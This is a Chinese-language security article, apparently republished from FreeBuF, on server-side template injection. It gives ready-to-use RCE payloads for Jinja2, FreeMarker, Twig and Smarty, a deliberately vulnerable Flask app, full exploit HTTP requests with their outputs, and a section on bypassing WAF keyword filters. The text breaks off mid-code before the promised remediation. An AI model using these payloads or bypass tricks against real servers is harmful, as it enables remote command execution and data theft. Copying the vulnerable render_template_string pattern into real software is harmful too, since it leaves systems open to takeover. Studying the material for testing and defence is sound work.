SSTI 安全实战手册:原理、利用路径与修复措施全解析
服务器端模板注入(SSTI)是一种发生在服务端模板引擎中的代码注入漏洞。当用户输入未经严格验证或过滤直接嵌入模板中时,模板引擎在渲染时将其作为代码执行,攻击者可借此执行恶意操作。常见于使用Python(Jinja2)、PHP(Twig)、Java(FreeMarker)等模板引擎的场景。 2025-7-28 01:46:35 Author: www.freebuf.com(查看原文) 阅读量:23 收藏

一、漏洞简介

服务器端模板注入(Server-Side Template Injection, SSTI)是一种发生在服务端模板引擎中的代码注入漏洞。当用户输入未经严格验证或过滤直接嵌入模板中,模板引擎在渲染时将其作为代码执行,攻击者可借此执行恶意操作,如读取敏感数据、篡改逻辑、执行远程命令(RCE),甚至完全接管服务器。SSTI 漏洞常见于动态渲染用户输入的 Web 应用,尤其在使用 Python(Jinja2)、PHP(Twig)、Java(FreeMarker)等模板引擎的场景。

1.1 受影响的模板引擎

以下是常见模板引擎及其所属技术栈:

  • Python:Jinja2、Mako、Tornado Template

  • PHP:Smarty、Twig、Blade

  • Java:FreeMarker、Velocity、Thymeleaf

  • JavaScript:Handlebars、EJS(多用于客户端,但服务端渲染可能被利用)

  • 其他:Ruby 的 ERB、Go 的 html/template

1.2 危害

  • 信息泄露:访问配置文件、环境变量或数据库凭据。

  • 逻辑篡改:绕过认证或修改页面逻辑。

  • 远程命令执行:执行系统命令,获取服务器控制权。

  • 拒绝服务:通过恶意循环或资源消耗导致服务不可用。

二、模板引擎与 SSTI 原理

2.1 模板引擎的作用

模板引擎用于分离用户界面与业务数据,生成特定格式的文档(如 HTML)。通过占位符(如{{ name }})和控制语句(如{% if %}),模板引擎在运行时替换数据并执行逻辑,生成最终页面。模板引擎的优势包括:

  • 界面与数据分离:提高开发效率,代码复用性更强。

  • 动态内容生成:支持循环、条件判断等逻辑。

  • 跨技术栈支持:适用于多种编程语言(如 Python、PHP、Java)。

2.2 模板引擎分类

  • 置换型:仅替换占位符,如 Mustache。

  • 解释型:支持复杂逻辑(如条件、循环),如 Jinja2、Twig。

  • 编译型:将模板编译为可执行代码,如 FreeMarker。

2.3 SSTI 漏洞成因

SSTI 漏洞的根本原因是用户输入未经充分过滤,直接嵌入模板或作为模板引擎的参数,导致模板引擎将其解析为可执行代码。典型场景:

  • 使用render_template_string(user_input)而非render_template

  • 未限制模板引擎访问危险对象(如 Python 的__globals__或 Java 的java.lang.Runtime)。

  • 示例:用户输入{{7*7}},若返回49,表明存在 SSTI 漏洞。

2.4 攻击流程

  1. 寻找注入点:通过输入框、URL 参数、表单等提交模板语法(如{{}}{% %})。

  2. 构造恶意 payload:利用模板引擎特性,访问敏感对象或执行命令。

  3. 触发执行:模板引擎解析并执行 payload,可能导致信息泄露或 RCE。

三、SSTI 的种类

3.1 表达式注入(Expression Injection)

攻击者注入的输入被解析为模板表达式并在服务端执行。例如,在 Jinja2 中:

{{ 7 * 7 }}

输出:49,表明用户输入被执行为代码。

3.2 逻辑注入(Logic Injection)

攻击者利用模板的控制语句(如条件、循环)篡改渲染逻辑。例如:

{% if 'admin' in user_role %}
  欢迎管理员
{% else %}
  普通用户
{% endif %}

user_role可控,攻击者可注入"admin"伪装管理员身份。

3.3 命令执行(RCE via Template)

某些模板引擎允许访问底层对象,导致远程命令执行。例如,在 Jinja2 中:

{{ ''.__class__.__mro__[1].__subclasses__()[159].__init__.__globals__['os'].popen('id').read() }}

输出:

uid=1000(user) gid=1000(user) groups=1000(user)

3.4 文件操作(File Access)

部分模板引擎支持文件操作,攻击者可读取敏感文件。例如,在 FreeMarker 中:

<#include "/etc/passwd">

可能直接读取/etc/passwd文件。

四、SSTI 注入过程与利用方式

4.1 注入前准备

  1. 信息收集

    • 确定目标使用的编程语言和模板引擎(如 Flask 使用 Jinja2)。

    • 测试注入点:URL 参数、表单、评论区、HTTP 请求头等。

    • 提交测试 payload:{{7*7}}{% print(1+1) %},观察是否被解析。

  2. 了解模板引擎特性

    • Jinja2:支持 Python 反射(如__class__,__globals__)。

    • Twig:支持过滤器和回调函数。

    • FreeMarker:支持 Java 类调用(如?new())。

4.2 注入过程

  1. 确认漏洞

    • 请求:http://example.com/?name={{7*7}}

    • 响应:49(表明 Jinja2 SSTI 漏洞存在)。

  2. 构造 payload

    • 读取配置:{{ config }}

    • 执行命令:{{ ''.__class__.__mro__[1].__subclasses__()[159].__init__.__globals__['os'].popen('whoami').read() }}

  3. 触发执行

    • 示例 HTTP 请求:

      GET /?name={{config.__class__.__init__.__globals__['os'].popen('whoami').read()}} HTTP/1.1
      Host: example.com
      User-Agent: Mozilla/5.0
      Accept: text/html
      Connection: close
      

      响应:

      HTTP/1.1 200 OK
      Content-Type: text/html
      Content-Length: 20
      www-data
      

4.3 Flask 示例

以下是一个存在 SSTI 漏洞的 Flask 应用:

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/unsafe')
def unsafe():
    name = request.args.get('name', 'World')
    template = f'<h1>Hello, {name}!</h1>'
    return render_template_string(template)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080, debug=True)

测试步骤

  1. 访问:http://127.0.0.1:8080/unsafe?name={{7*7}}

    • 响应:<h1>Hello, 49!</h1>

  2. 构造 RCE payload:

    • 访问:http://127.0.0.1:8080/unsafe?name={{''.__class__.__mro__[1].__subclasses__()[159].__init__.__globals__['os'].popen('whoami').read()}}

    • 响应:<h1>Hello, www-data!</h1>

4.4 其他模板引擎利用

  • FreeMarker

    ${"freemarker.template.utility.Execute"?new()("id")}
    
    

    输出:uid=1000(user) gid=1000(user) groups=1000(user)

  • Twig

    {{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}
    
    
  • Smarty(老版本)

    {php}echo shell_exec('id');{/php}
    
    

4.5 模板继承利用

模板继承允许子模板覆盖父模板的区块,攻击者可利用内置模板或虚拟继承构造 payload。例如,在 Jinja2 中:

{% extends "base.html" %}
{% block content %}
  {{ ''.__class__.__mro__[1].__subclasses__()[159].__init__.__globals__['os'].popen('id').read() }}
{% endblock %}

通过覆盖关键区块,攻击者可执行恶意代码。

五、WAF 绕过技巧

WAF 可能通过关键字匹配(如__globals__,popen,eval)拦截 SSTI payload。以下是详细的绕过方法,结合代码和数据包示例:

5.1 编码变形

将 payload 进行 URL 编码、Unicode 编码或 Base64 编码:

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

编码后:

%7B%7Bconfig.__class__.__init__.__globals__%5B%27os%27%5D.popen%28%27id%27%29.read%28%29%7D%7D

5.2 空字符拼接

使用过滤器(如join)拆解关键字:

{{ ['o','s']|join|attr('popen')('id')|attr('read')() }}

5.3 条件混淆

利用控制语句隐藏 payload:

{% if true %}
  {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{% endif %}

5.4 使用request对象

通过request.argsrequest.form动态拼接关键字:

GET /unsafe?name={{lipsum.__globals__[request.args.key].popen(request.args.cmd).read()}}&key=os&cmd=ls HTTP/1.1
Host: example.com

或 POST 请求:

import requests
url = "http://example.com/unsafe"
data = {
    'name': "{{lipsum.__globals__[request.form.key].popen(request.form.cmd).read()}}",
    '

文章来源: https://www.freebuf.com/articles/vuls/441660.html
如有侵权请联系:admin#unsafe.sh